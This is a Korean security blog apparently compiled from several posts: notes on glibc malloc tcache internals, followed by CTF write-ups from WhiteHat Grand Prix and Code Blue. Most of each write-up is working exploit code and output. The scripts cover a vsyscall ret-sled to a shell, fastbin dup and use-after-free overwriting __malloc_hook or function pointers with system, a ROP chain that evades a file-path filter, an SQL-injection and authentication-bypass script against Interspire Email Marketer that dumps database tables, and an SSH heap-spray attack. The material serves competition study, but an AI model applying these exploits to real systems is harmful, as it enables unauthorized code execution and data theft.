https://github.com/kraj/glibc/blob/master/malloc/malloc.c


몇 부분만 정리


 

void *
__libc_malloc (size_t bytes)
{
mstate ar_ptr;
void *victim;
void *(*hook) (size_t, const void *)
= atomic_forced_read (__malloc_hook);
if (__builtin_expect (hook != NULL, 0))
return (*hook)(bytes, RETURN_ADDRESS (0));
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
checked_request2size (bytes, tbytes);
size_t tc_idx = csize2tidx (tbytes);
MAYBE_INIT_TCACHE ();
DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
&& tcache
&& tcache->entries[tc_idx] != NULL)
{
return tcache_get (tc_idx);
}
DIAG_POP_NEEDS_COMMENT;
#endif
if (SINGLE_THREAD_P)
{
victim = _int_malloc (&main_arena, bytes);
assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
&main_arena == arena_for_chunk (mem2chunk (victim)));
return victim;
}
arena_get (ar_ptr, bytes);



static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */
mchunkptr nextchunk; /* next contiguous chunk */
INTERNAL_SIZE_T nextsize; /* its size */
int nextinuse; /* true if nextchunk is used */
INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */
mchunkptr bck; /* misc temp for linking */
mchunkptr fwd; /* misc temp for linking */
size = chunksize (p);
/* Little security check which won't hurt performance: the
allocator never wrapps around at the end of the address space.
Therefore we can exclude some size values which might appear
here by accident or by "design" from some intruder. */
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
malloc_printerr ("free(): invalid pointer");
/* We know that each chunk is at least MINSIZE bytes in size or a
multiple of MALLOC_ALIGNMENT. */
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
malloc_printerr ("free(): invalid size");
check_inuse_chunk(av, p);
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache
&& tc_idx < mp_.tcache_bins
&& tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
#endif

 



static struct malloc_par mp_ =
{
.top_pad = DEFAULT_TOP_PAD,
.n_mmaps_max = DEFAULT_MMAP_MAX,
.mmap_threshold = DEFAULT_MMAP_THRESHOLD,
.trim_threshold = DEFAULT_TRIM_THRESHOLD,
#define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8))
.arena_test = NARENAS_FROM_NCORES (1)
#if USE_TCACHE
,
.tcache_count = TCACHE_FILL_COUNT,
.tcache_bins = TCACHE_MAX_BINS,
.tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1),
.tcache_unsorted_limit = 0 /* No limit. */
#endif

};

 


# define TCACHE_FILL_COUNT 7


하나의 tcache bin에는 최대 8개 청크



static void
tcache_init(void)
{
mstate ar_ptr;
void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct);
if (tcache_shutting_down)
return;
arena_get (ar_ptr, bytes);

victim = _int_malloc (ar_ptr, bytes);


...........................................................


if (victim)


{

tcache = (tcache_perthread_struct *) victim;

memset (tcache, 0, sizeof (tcache_perthread_struct));

}



오우 tcache를 위한 struct를 힙에 할당한다. arbitrary heap free 있으면 저거 free 시켜버려도 될듯. 



# define TCACHE_MAX_BINS 64



typedef struct tcache_perthread_struct

{

  char counts[TCACHE_MAX_BINS];

  tcache_entry *entries[TCACHE_MAX_BINS];

} tcache_perthread_struct; 



typedef struct tcache_entry

{

  struct tcache_entry *next;

} tcache_entry;



 

static __always_inline void

tcache_put (mchunkptr chunk, size_t tc_idx)

{

  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

  assert (tc_idx < TCACHE_MAX_BINS);

  e->next = tcache->entries[tc_idx];

  tcache->entries[tc_idx] = e;

  ++(tcache->counts[tc_idx]);

}


/* Caller must ensure that we know tc_idx is valid and there's

   available chunks to remove.  */

static __always_inline void *

tcache_get (size_t tc_idx)

{

  tcache_entry *e = tcache->entries[tc_idx];

  assert (tc_idx < TCACHE_MAX_BINS);

  assert (tcache->entries[tc_idx] > 0);

  tcache->entries[tc_idx] = e->next;

  --(tcache->counts[tc_idx]);

  return (void *) e;

} 



엥 이거 완전 fastbin 아니냐. fastbin이랑 같은 방식으로 익스 가능.

할당시점에 기본적인 size도 검사도 없다. next자리에 그냥 stack, GOT, hook, ... 넣어두면 될듯.


/* When "x" is from chunksize(). */
# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)






WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret


Category : pwnable


nc pwn03.grandprix.whitehatvn.com 2023

file: material.grandprix.whitehatvn.com/pwn03

Note: libc has been modified

onehit

libc-2.27.so



Summary : uninitialized variable leads to bof, redsled with vsyscall, modified libc (contains special gadget), close(0);close(1);



Process

(1) PoW 과정에서 stack 에 입력받는 데이터로 나중에 uninitialized variable를 control 가능.

(2) uninitialized variable이 read의 size로 사용돼서 system(0) 호출시켜서 stack에 special gadget과 가까운 system+32 주소 남기기

(3) bof 발생. PIE + ASLR 이라 주소 아무것도 모름. 고정주소인 vsyscall로 뛰어서 system+32 찌꺼기까지 ret sled. system+32찌꺼기 마지막 1byte 덮어서 special gadget 실행.

(4) close(0); close(1); 때문에 stdin stdout을 stderr로 리다이렉션 시켜줘야함. /bin/sh <&2 >&2로 해결


* 로컬에서는 /bin/sh <&2 >&2로 못할듯. socket일때 가능쓰.


modified libc

$ diff my_libc pwn3_libc
20292c20292
< 0004f430: 0e00 4881 c480 0000 005b c30f 1f44 0000 ..H......[...D..
---
> 0004f430: 0e00 4881 c480 0000 005b 4883 c77f eb1b ..H......[H.....



Special gadget

gdb-peda$ x/2i 0x04F43A
0x4f43a: add rdi,0x7f
0x4f43e: jmp 0x4f45b <system+27>

gdb-peda$ x/6i system+27
0x4f45b <system+27>: call 0x4eeb0 # do_system
0x4f460 <system+32>: test eax,eax
0x4f462 <system+34>: sete al
0x4f465 <system+37>: add rsp,0x8
0x4f469 <system+41>: movzx eax,al
0x4f46c <system+44>: ret

overflow 후 ret 하는 순간 인자가 좀 이상함. rdi를 add 시켜줄 필요가 있었는데 운영진이 준 가젯(0x04f43a)로 해결.



system+32 in stack


[before]

gdb-peda$ x/21a $rbp + 8
0x7fff25408298: 0x563caa44af69 <myfunc+85> 0x6673646166647361
0x7fff254082a8: 0x0 0x0
0x7fff254082b8: 0x0 0x0
0x7fff254082c8: 0x0 0x0
0x7fff254082d8: 0x0 0x0
0x7fff254082e8: 0x0 0x0
0x7fff254082f8: 0x0 0x0
0x7fff25408308: 0x7f6700000000 0x563caa44b268
0x7fff25408318: 0x6c7c611a49771100 0x0
0x7fff25408328: 0x7fff25408370 0x563caa44ab50 <_start>
0x7fff25408338: 0x7f67ded2c460 <system+32>


stack에 찌꺼기 남겼음. 저 전까지 vsyscall로 덮어서 ret sled하고 special gadget 으로 뛰면됨 


[after]

gdb-peda$ x/21a $rbp + 8
0x7fff25408298: 0xffffffffff600400 0xffffffffff600400
0x7fff254082a8: 0xffffffffff600400 0xffffffffff600400
0x7fff254082b8: 0xffffffffff600400 0xffffffffff600400
0x7fff254082c8: 0xffffffffff600400 0xffffffffff600400
0x7fff254082d8: 0xffffffffff600400 0xffffffffff600400
0x7fff254082e8: 0xffffffffff600400 0xffffffffff600400
0x7fff254082f8: 0xffffffffff600400 0xffffffffff600400
0x7fff25408308: 0xffffffffff600400 0xffffffffff600400
0x7fff25408318: 0xffffffffff600400 0xffffffffff600400
0x7fff25408328: 0xffffffffff600400 0xffffffffff600400
0x7fff25408338: 0x7f67ded2c43a
gdb-peda$ x/2i 0x7f67ded2c43a
0x7f67ded2c43a: add rdi,0x7f
0x7f67ded2c43e: jmp 0x7f67ded2c45b <system+27>



vsyscall(sys_time) for retsled

0xffffffffff600400: mov    rax,0xc9
0xffffffffff600407: syscall
0xffffffffff600409: ret



ex.py

#!/usr/bin/python

from pwn import *
import re
from hashlib import sha512

#s = process('./onehit')
s = remote('pwn03.grandprix.whitehatvn.com', 2023)
ru = s.recvuntil
rl = s.recvline
sl = s.sendline
ss = s.send
prefix, head = re.findall('sha512\("([A-Z]+)".*0x([0-9A-Fa-f]+)\.\.\.', ru('interger = '))[0]
integer = 0
while 1:
if sha512(prefix + str(integer)).hexdigest().startswith(head):
print 'sha256sum("{}" + "{}").startswith("{}") == True'.format(prefix, integer, head)
ss(str(integer).ljust(0x100, '\x11'))
break
integer += 1

ru('AntiSPAM machine: You Shall Pass!!!\n')
ru('Echo machine: Would you like to ls -al?')
ss('N0\x00')

ru('Chose a service\n1: Echo\n2: /bin/bash\n3: /bin/sh\n')
ss('asdfadsf\x00')


'''
0x5555f9d42f12 <echo+171>: leave
=> 0x5555f9d42f13 <echo+172>: ret

gdb-peda$ x/30a $rsp
0x7ffcded00e28: 0x6363636363636363 0x6673646166647361
0x7ffcded00e38: 0x0 0x0
0x7ffcded00e48: 0x0 0x0
0x7ffcded00e58: 0x0 0x0
0x7ffcded00e68: 0x0 0x0
0x7ffcded00e78: 0x0 0x0
0x7ffcded00e88: 0x0 0x0
0x7ffcded00e98: 0x7fb600000000 0x5555f9d43268
0x7ffcded00ea8: 0xaf74a440fac61500 0x0
0x7ffcded00eb8: 0x7ffcded00f00 0x5555f9d42b50 <_start>
0x7ffcded00ec8: 0x7fb6cd511460 <system+32> 0x7ffcded00ff0
0x7ffcded00ed8: 0x5555f9d42fef <wannals+111> 0x0
0x7ffcded00ee8: 0x304e000000000000 0x7ffcded00f00
0x7ffcded00ef8: 0xaf74a440fac61500 0x7ffcded00f10
0x7ffcded00f08: 0x5555f9d43050 <main+74> 0x5555f9d43060 <__libc_csu_init>

gdb-peda$ x/2i 0x7fb6cd4c2000 + 0x4F43A
0x7fb6cd51143a: add rdi,0x7f
0x7fb6cd51143e: jmp 0x7fb6cd51145b <system+27>
gdb-peda$ x/i system + 32
0x7fb6cd511460 <system+32>: test eax,eax
'''

special_gadget = 0x4F43A
'''
0x7fb6cd51143a: add rdi,0x7f
0x7fb6cd51143e: jmp 0x7fb6cd51145b <system+27>
'''
vsyscall_ret = 0xffffffffff600400
'''
0xffffffffff600400: mov rax,0xc9
0xffffffffff600407: syscall
0xffffffffff600409: ret
'''

pay = ''
pay += 'a' * (0x7f + 0x10)
pay += '/bin/sh <&2 >&2 ;'
pay = pay.ljust(0xe8, '\x00')
pay += p64(vsyscall_ret) * 20
pay += chr(special_gadget % 0x100)
ru('Only Echo is available\n')
ss(pay)

s.interactive()
s.close()


$ python ex.py
[+] Opening connection to pwn03.grandprix.whitehatvn.com on port 2023: Done
sha256sum("ZEIYJMBUIPYMFPW" + "1212655").startswith("7ca0d") == True
[*] Switching to interactive mode
Echo machine: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

............................

............................

............................

$ id
uid=1000(onehit) gid=1000(onehit) groups=1000(onehit)
$ cat /home/onehit/flag
WhiteHat{???????????????????????????}



WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

Category : pwnable


secure_keymanager-f9d02e8a1149ff866cad10f001e8f23803bcac3c42ed7f


Summary : simple heap overflow, fastbin dup into stack



그냥 fastbin문제. 헬게이트 문제로 기억했는데 다른거였나봄.. 하지만 이상한 삽질하다가 시간 더 걸린거 반성하기.

malloc_hook에서 원가젯 바로 못 쓰면 다른 hook 연동해서 간단하게 rsp 컨트롤하기.

malloc 인자 뭐들어가는지 제대로 기억하기.




ex.py

#!/usr/bin/python

from pwn import *

def cmd_add(key_len, title, key):
ru('>> ')
ss('1')
ru('Input key length...')
ss(str(key_len))
ru('Input title...')
ss(title)
ru('Input key...')
if key_len >= 0:
ss(key)

def cmd_edit(idx, new_key, _account=None, _master=None):
ru('>> ')
ss('3')
ru('EDIT KEY\n')
ru('Input Account Name >> ')

if _account:
ss(_account)
ru('Account \'')
name = ru('\'')
rl()
return name
else:
ss(account)

ru('Input Master Pass >> ')
ss(master)
ru('Input id to edit...')
ss(str(idx))
ru('Input new key...')
ss(new_key)

def cmd_remove(idx, _account=None, _master=None):
ru('>> ')
ss('4')
ru('REMOVE KEY\n')
ru('Input Account Name >> ')

if _account:
ss(_account)
ru('Account \'')
name = ru('\'')
rl()
return name
else:
ss(account)
ru('Input Master Pass >> ')
ss(master)
ru('Input id to remove...')
ss(str(idx))

account = 'pwn3r'
master = '/bin/sh'


s = process('./secure_keymanager')
ru = s.recvuntil
rl = s.recvline
sl = s.sendline
ss = s.send

ss(account+'\x00')
ss(master+'\x00')

cmd_add(-16, 'chunk1', '')
cmd_add(16, 'chunk2', 'data')
cmd_add(0x68 - 32, 'chunk3', 'data')
libc_base = u64(cmd_edit(0, '', _account='a'*0x18)[0x18:-1].ljust(8, '\x00')) - 0x7a81b
libc_malloc_hook = libc_base + 0x3c4b10
libc_system = libc_base + 0x45390
master_addr = 0x602130 # "/bin/sh\x00"
print hex(libc_base)
cmd_remove(0) # free chunk1
cmd_remove(2) # free chunk3
cmd_add(-16, 'a'*0x18+p64(0xb1)[:-1], '') # overwrite chunk2 size
cmd_edit(1, 'a'*0x10+p64(0)+p64(0x71)+p64(libc_malloc_hook - 0x23)) # overwrite chunk3 fd
cmd_add(0x68 - 32, 'chunk3 again', 'data') # chunk3 again

payload = 'a'*(0x23-0x10) + p64(libc_system)
cmd_add(0x68 - 32, payload, '\x00') # *libc_malloc_hook = libc_system
ru('>> ')
ss('1')
ru('Input key length...')
ss(str(master_addr - 32))

s.interactive()
s.close()



Exploit

$ python ex.py
[+] Starting local process './secure_keymanager': pid 25650
0x7febf6a9d000
[*] Switching to interactive mode
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)



WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret


Category : pwnable


nc pwn02.grandprix.whitehatvn.com 8005

file: material.grandprix.whitehatvn.com/pwn02

libc-2.27.so

BookStore



Summary : simple uaf, libc-2.27.so, tcache poisoning





2 ways to exploit


(1) simple uaf

#!/usr/bin/python

from pwn import *

def cmd_add(title, brief_size, brief, refer, best):
ru('Your choice')
sl('1')
ru('Title:')
sl(title)
ru('Enter brief size')
sl(str(brief_size))
ru('Enter brief:')
sl(brief)
ru('Reference book title:')
sl(refer)
ru('Best Selling? (Y/N)')
sl('y' if best else 'n')
ru('a book is added.')

def cmd_edit(old_title, new_title, brief_size, brief, best):
ru('Your choice')
sl('2')
ru('Old title:')
sl(old_title)
ru('New title:')
sl(old_title)
ru('Enter brief size')
sl(str(brief_size))
ru('Enter brief:')
sl(brief)
ru('Best Selling? (Y/N)')
sl('y' if best else 'n')
ru('Entry is edited.')

def cmd_remove(title):
ru('Your choice')
sl('3')
ru('Title:')
sl(title)
ru('Entry is removed.')

def cmd_list():
ru('Your choice')
sl('4')
ru('|----+-------------------------------+-----------------------------------------|\n')
ru('|----+-------------------------------+-----------------------------------------|\n')
res = []
while 1:
line = rl()
if line == '|----+-------------------------------+-----------------------------------------|\n':
break
else:
line = line.split('|')
res.append(line[3].strip())
return res

offset_puts = 0x809c0
offset_system = 0x4f440
offset_sh = 0x13b67
puts_got = 0x601F80
printf_got = 0x601FA0
puts_plt = 0x400908
strdup_plt = 0x400980

#s = process('./BookStore')
s = remote('pwn02.grandprix.whitehatvn.com',8005)
ru = s.recvuntil
rl = s.recvline
sl = s.sendline
ss = s.send

cmd_add('title1', 0x20, 'brief', '', False)
cmd_add('title2', 0x10, 'brief', '', True)
cmd_add('not used', 0x60, 'kkkk', '', False) # prevent consolidate
cmd_remove('title2')
cmd_edit('title2', 'title2', 5, 'aaa', True) # free brief, obj2
fake_obj = ''
fake_obj += p64(0) # next
fake_obj += p64(puts_got) # brief
fake_obj += 'title2'.ljust(0x20, '\x00') # title
fake_obj += chr(0)
fake_obj += chr(0)
fake_obj += p64(strdup_plt)[:-1]
cmd_edit('title1', 'title1', 0x3a, fake_obj, False)

libc_base = u64(cmd_list()[1].ljust(8, '\x00')) - offset_puts
libc_system = libc_base + offset_system
libc_sh = libc_base + offset_sh
print hex(libc_base)

fake_obj = ''
fake_obj += p64(0) # next
fake_obj += p64(libc_sh) # brief
fake_obj += 'title2'.ljust(0x20, '\x00') # title
fake_obj += chr(0)
fake_obj += chr(0)
fake_obj += p64(libc_system)[:-1]
cmd_edit('title1', 'title1', 0x3a, fake_obj, False)

ru('Your choice')
sl('4')

s.interactive()
s.close()

그러고보니 세 번째 청크는 필요가 없었나

$ python ex.py
[+] Opening connection to pwn02.grandprix.whitehatvn.com on port 8005: Done
0x7f0c0cbec000
[*] Switching to interactive mode
:$
$
|----+-------------------------------+-----------------------------------------|
| ID| Title|Brief
|----+-------------------------------+-----------------------------------------|
|0001| title1|
$
$ id
uid=1000(bookstore) gid=1000(bookstore) groups=1000(bookstore)
$ cat /home/bookstore/flag.txt
WhiteHat{????????????????????????????}



(2) tcache poisoning


TCache (per-thread cache), a new feature, was introduced in malloc (glibc-2.26 ~ )


https://dangokyo.me/2018/01/16/extra-heap-exploitation-tcache-and-potential-exploitation/

http://pwn3r.tistory.com/entry/tcache-note



추가예정


WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

Category : pwnable


nc pwn01.grandprix.whitehatvn.com 26129

file: material.grandprix.whitehatvn.com/pwn01


forPlayer.zip



Summary : stack bof, bypass system call && filename filtering





* bypass flag filename filtering (/home/gift/flag.txt)


- default

[original]
monitor : /home/gift/
target : /home/gift/

[open('./aa/../flag.txt')]
monitor : real_path(/home/gift/./aa/../flag.txt) = /home/gift/flag.txt ( filtered!!! )
target : real_path(/home/gift/./aa/../flag.txt) = /home/gift/flag.txt


- after chdir('/home/')

[chdir('/home/')]
monitor : /home/gift/
target : /home/

[
open('gift/flag.txt')]
monitor : /home/gift/gift/flag.txt ( not
filtered )
target : /home/gift/flag.txt




exploit.py

#!/usr/bin/python


from pwn import *

#s = process('./giftshop')
s = remote('pwn01.grandprix.whitehatvn.com', 26129)
s.recvuntil('you come here !\n')
pie_base = int(s.recvline().strip(),16) - 0x2030D8
print hex(pie_base)

puts_plt = pie_base + 0xB40
puts_got = pie_base + 0x203038
pop_rdi = pie_base + 0x000000000000225f
pop_rsi = pie_base + 0x0000000000002261
pop_rdx = pie_base + 0x0000000000002265
#0x000000000000225f : pop rdi ; ret
#0x0000000000002265 : pop rdx ; ret
#0x0000000000002261 : pop rsi ; ret
main_addr = pie_base + 0x00DA0
freespace = pie_base + 0x203200

s.recvuntil('plzz ??\n')
s.sendline('12345')
s.recvuntil('plzz: \n')
s.sendline('12345')
s.recvuntil('Your choice:\n')
pay = ''
pay += '1\x00'
pay = pay.ljust(24, 'a')
pay += p64(pop_rdi)
pay += p64(puts_got)
pay += p64(puts_plt)
pay += p64(main_addr)
s.sendline(pay)

#libc leak
libc_base = u64(s.recvline().strip().ljust(8, '\x00')) - 0x6f690
print hex(libc_base)
libc_open = libc_base + 0xf7030
libc_read = libc_base + 0xf7250
libc_chdir = libc_base + 0xf7a90
fake_dir = pie_base + 0x203120 + 8
filename = pie_base + 0x203120 + 8 + 8
'''
gdb-peda$ p open
$1 = {<text variable, no debug info>} 0xf7030 <open64>
gdb-peda$ p read
$2 = {<text variable, no debug info>} 0xf7250 <read>
'''



#2nd chance
s.recvuntil('you come here !\n')
s.recvline()

s.recvuntil('plzz ??\n')
s.sendline('12345')
s.recvuntil('plzz: \n')
s.sendline('1234567\x00/home/\x00\x00./gift/flag.txt\x00')
# /home : fake_dir
# ./gift/flag.txt : filename
s.recvuntil('Your choice:\n')
pay = ''
pay += '1\x00'
pay = pay.ljust(24, 'a')
pay += p64(pop_rdi)
pay += p64(fake_dir)
pay += p64(libc_chdir)

pay += p64(pop_rdi)
pay += p64(filename)
pay += p64(pop_rsi)
pay += p64(0)
pay += p64(libc_open)

pay += p64(pop_rdi)
pay += p64(4)
pay += p64(pop_rsi)
pay += p64(freespace)
pay += p64(pop_rdx)
pay += p64(100)
pay += p64(libc_read)

pay += p64(pop_rdi)
pay += p64(freespace)
pay += p64(puts_plt)
s.sendline(pay)

s.interactive()



$ python exploit.py
[+] Opening connection to pwn01.grandprix.whitehatvn.com on port 26129: Done
0x557bb602b000
0x7f6d1e22e000
[*] Switching to interactive mode
WhiteHat{??????????????????????????????????}



WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

Category : Web hacking


http://web03.grandprix.whitehatvn.com:1337/


Summary : interspire Email Marketer service, header injection, 1 day, sql injection




(1) find admin page


 





 




(2) get admin permission


Interspire Email Marketer < 6.1.6 - Remote Admin Authentication Bypass

https://security.infoteam.ch/en/blog/posts/narrative-of-an-incident-response-from-compromise-to-the-publication-of-the-weakness.html




(3) sqli


Interspire Email Marketer - Cross-Site Scripting / HTML Injection / SQL Injection

https://www.exploit-db.com/exploits/37935/




(4) full_exploit

# -*- coding:utf-8 -*-
import time
import requests
import html
import re

def urlencode(string):
return ''.join(["%%%02x" %ord(ch) for ch in string])

def get_page(uri):
url = 'http://web03.grandprix.whitehatvn.com:1337/bot'
host = '127.0.0.1:8088'
while True:
try:
res = requests.post(url, json=dict(host=host, url_path=uri))
except requests.exceptions.ConnectionError:
print('Server is down')
time.sleep(5)
continue
break

if b'content' in res.content:
content = html.unescape(res.json()['content'])
return content
else:
return res.content

def sqli_get_data(query):
uri = 'admin/index.php?Page=Addons&Addon=dynamiccontenttags&Action=Edit&id='
uri += urlencode(query)
uri += ' HTTP/1.1\r\nCookie: IEM_CookieLogin=YTo0OntzOjQ6InVzZXIiO3M6MToiMSI7czo0OiJ0aW1lIjtpOjE1MDU0NzcyOTQ7czo0OiJyYW5kIjtiOjE7czo4OiJ0YWtlbWV0byI7czo5OiJpbmRleC5waHAiO30%3D\r\ntt: '
res = get_page(uri)
found = re.findall('class=\"Field250 form_text\" value=\"([0-9a-zA-Z_-{}]+)\"', res)
if not found:
return ''
else:
return found[0]

######################
### tables
table_list = []
idx = 0
while 1:
res = sqli_get_data("-1' UNION select 1, table_name, 3, 4 from information_schema.tables where table_schema=database() limit {}, 1-- -".format(idx))
if not res:
break
table_list.append(res)
idx += 1

print(table_list)
'''
$ python3 web03_sqli.py
['email_addons', 'email_autoresponders', 'email_banned_emails', 'email_config_settings', 'email_customfield_lists', 'email_customfields', 'email_dynamic_content_block', 'email_dynamic_content_tags', 'email_folder_item', 'email_folder_user', 'email_folders', 'email_form_customfields', 'email_form_lists', 'email_form_pages', 'email_forms', 'email_jobs', 'email_jobs_lists', 'email_links', 'email_list_subscriber_bounces', 'email_list_subscriber_events', 'email_list_subscribers', 'email_list_subscribers_unsubscribe', 'email_list_tags', 'email_lists', 'email_log_system_administrator', 'email_log_system_system', 'email_login_attempt', 'email_login_banned_ip', 'email_modules', 'email_newsletters', 'email_queues', 'email_queues_sequence', 'email_queues_unsent', 'email_segments', 'email_settings', 'email_settings_credit_warnings', 'email_settings_cron_schedule', 'email_splittest_campaigns', 'email_splittest_statistics', 'email_splittest_statistics_newsletters', 'email_splittests', 'email_stats_autoresponders', 'email_stats_autoresponders_recipients', 'email_stats_emailforwards', 'email_stats_emailopens', 'email_stats_linkclicks', 'email_stats_links', 'email_stats_newsletter_lists', 'email_stats_newsletters', 'email_stats_sequence', 'email_stats_users', 'email_subscribers_data', 'email_surveys', 'email_surveys_fields', 'email_surveys_response', 'email_surveys_response_value', 'email_surveys_widgets', 'email_templates', 'email_triggeremails', 'email_triggeremails_actions', 'email_triggeremails_actions_data', 'email_triggeremails_data', 'email_triggeremails_log', 'email_triggeremails_log_summary', 'email_user_activitylog', 'email_user_credit', 'email_user_credit_summary', 'email_user_stats_emailsperhour', 'email_usergroups', 'email_usergroups_access', 'email_usergroups_permissions', 'email_users', 'email_whitelabel_settings', 'flag_wh']
# flag_wh
'''

######################
### columns
flag_table = 'flag_wh'
column_list = []
idx = 0
while 1:
res = sqli_get_data("-1' UNION select 1, column_name, 3, 4 from information_schema.columns where table_name='{}' limit {}, 1-- -".format(flag_table, idx))
if not res:
break
column_list.append(res)
idx += 1

print(column_list)
# ['s3cret']


######################
### flag
print('flag : '+sqli_get_data("-1' UNION select 1, s3cret, 3, 4 from flag_wh limit 0, 1-- -"))



$ python3 web03_sqli.py
['email_addons', 'email_autoresponders', 'email_banned_emails',
'email_config_settings', 'email_customfield_lists', 'email_customfields',
'email_dynamic_content_block', 'email_dynamic_content_tags', 'email_folder_item',
'email_folder_user', 'email_folders', 'email_form_customfields', 'email_form_lists',
'email_form_pages', 'email_forms', 'email_jobs', 'email_jobs_lists', 'email_links',
'email_list_subscriber_bounces', 'email_list_subscriber_events',
'email_list_subscribers', 'email_list_subscribers_unsubscribe', 'email_list_tags',
'email_lists', 'email_log_system_administrator', 'email_log_system_system',
'email_login_attempt', 'email_login_banned_ip', 'email_modules', 'email_newsletters',
'email_queues', 'email_queues_sequence', 'email_queues_unsent', 'email_segments',
'email_settings', 'email_settings_credit_warnings', 'email_settings_cron_schedule',
'email_splittest_campaigns', 'email_splittest_statistics',
'email_splittest_statistics_newsletters', 'email_splittests',
'email_stats_autoresponders', 'email_stats_autoresponders_recipients',
'email_stats_emailforwards', 'email_stats_emailopens', 'email_stats_linkclicks',
'email_stats_links', 'email_stats_newsletter_lists', 'email_stats_newsletters',
'email_stats_sequence', 'email_stats_users', 'email_subscribers_data', 'email_surveys',
'email_surveys_fields', 'email_surveys_response', 'email_surveys_response_value',
'email_surveys_widgets', 'email_templates', 'email_triggeremails',
'email_triggeremails_actions', 'email_triggeremails_actions_data',
'email_triggeremails_data', 'email_triggeremails_log', 'email_triggeremails_log_summary',
'email_user_activitylog', 'email_user_credit', 'email_user_credit_summary',
'email_user_stats_emailsperhour', 'email_usergroups', 'email_usergroups_access',
'email_usergroups_permissions', 'email_users', 'email_whitelabel_settings', 'flag_wh']
['s3cret']
flag : WhiteHat{??????????????????????????????????}




WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

Category : pwnable

 

Summary : big file, malloc fail, ptr=malloc(size+1);ptr[size] = '\x00';  // ptr = 0, size = 0x0804~~~~



정말 오랜만에 first blood + 1solve ! 설명은 조만간 추가 예정


ex.py

#!/usr/bin/python

from pwn import *
import re

ssh_ = ssh(host = 'pwn2.task.ctf.codeblue.jp', password = 'lets_play' , user= 'game_chal')
ssh2_ = ssh(host = 'pwn2.task.ctf.codeblue.jp', password = 'lets_play' , user= 'game_chal')
s2 = ssh2_.process('/bin/sh', env={'PS1':''})
s2.sendline('cd /tmp/wwwwpp/')
s2.sendline('''ln -s setregid_sh `python -c 'print "\xb0\x1d\x1b"'`''')


while 1:
s = ssh_.process('/bin/sh', env={'PS1':''})
s.sendline('cd /tmp/wwwwpp/')
s.sendline('ulimit -c 1024')
s.sendline('/home/p11454/game')

# card game for memory leak
s.recvuntil('3. Exit')
s.sendline('2')

# scanf("%u %u", ...) failed
s.recvuntil('Input the coordinate of the 1st card to open\n')
s.sendline('a b')

s.recvuntil('Input the coordinate of the 2nd card to open\n')
stack, libc_base = map(int, re.findall('\((\d+), (\d+)\)', s.recvline().strip())[0])
#libc_base = libc_base - 0x1d0030
libc_base = libc_base - 0x1d6010

# last 2bytes of libc base must be 0xc000

if (libc_base & 0xf000) != 0xc000:
s.close()
continue

execl_libc = libc_base + 0xB0A80

print 'libc_base :', hex(libc_base)
print 'execl@libc : ', hex(execl_libc)
s2.sendline('python create.py {}'.format(hex(execl_libc)))
s2.recvuntil('done')

# spray ...
for i in range(0, 20):
print i
s.recvuntil('3. Exit\n')
s.sendline('1')
s.recvuntil('Can you answer all the questions correctly?')
s.recvuntil('Q. ')
s.sendline('a')
s.recvuntil('Wrong.')

s.recvuntil('3. Exit\n')
s.sendline('1')
s.recvuntil('Can you answer all the questions correctly?')
for i in range(0, 5):
print i
s.recvuntil('Q. ')
s.sendline('u\x00')
s.recvuntil('Correct!')

print 'trigger!'
s.interactive()


create.py

#!/usr/bin/python

import sys
from struct import pack

p32 = lambda x : pack("<L", x)

if len(sys.argv) != 2:
exit(-1)

def create_sample(fname, data, length):
with open(fname, 'wb') as f:
i = length % 0x1000 if length % 0x1000 else 0x1000
f.write('a\nu\x00'+(data*((i-4)/len(data))))
while i < length:
f.write((data * (0x1000 / len(data))))
i += 0x1000

create_sample('youlose', 'a', 0x8000000)
create_sample('banner', 'a', 0x0804b069) # fputc@got
with open('flag', 'wb') as f:
f.write('hello\nbye\n')

value = int(sys.argv[1], 16)
for i in range(1, 11):
create_sample('quiz%02d' % i, p32(value), 0x8000000)

print 'done'


Exploit!

$ python ex.py
[+] Connecting to pwn2.task.ctf.codeblue.jp on port 22: Done
[!] Couldn't check security settings on 'pwn2.task.ctf.codeblue.jp'
[+] Connecting to pwn2.task.ctf.codeblue.jp on port 22: Done
[+] Starting remote process '/bin/sh' on pwn2.task.ctf.codeblue.jp: pid 16527
[+] Starting remote process '/bin/sh' on pwn2.task.ctf.codeblue.jp: pid 16533
[*] Stopped remote process 'dash' on pwn2.task.ctf.codeblue.jp (pid 16533)
..........................
[+] Starting remote process '/bin/sh' on pwn2.task.ctf.codeblue.jp: pid 16672
[*] Stopped remote process 'dash' on pwn2.task.ctf.codeblue.jp (pid 16672)
[+] Starting remote process '/bin/sh' on pwn2.task.ctf.codeblue.jp: pid 16677
[*] Stopped remote process 'dash' on pwn2.task.ctf.codeblue.jp (pid 16677)
[+] Starting remote process '/bin/sh' on pwn2.task.ctf.codeblue.jp: pid 16682
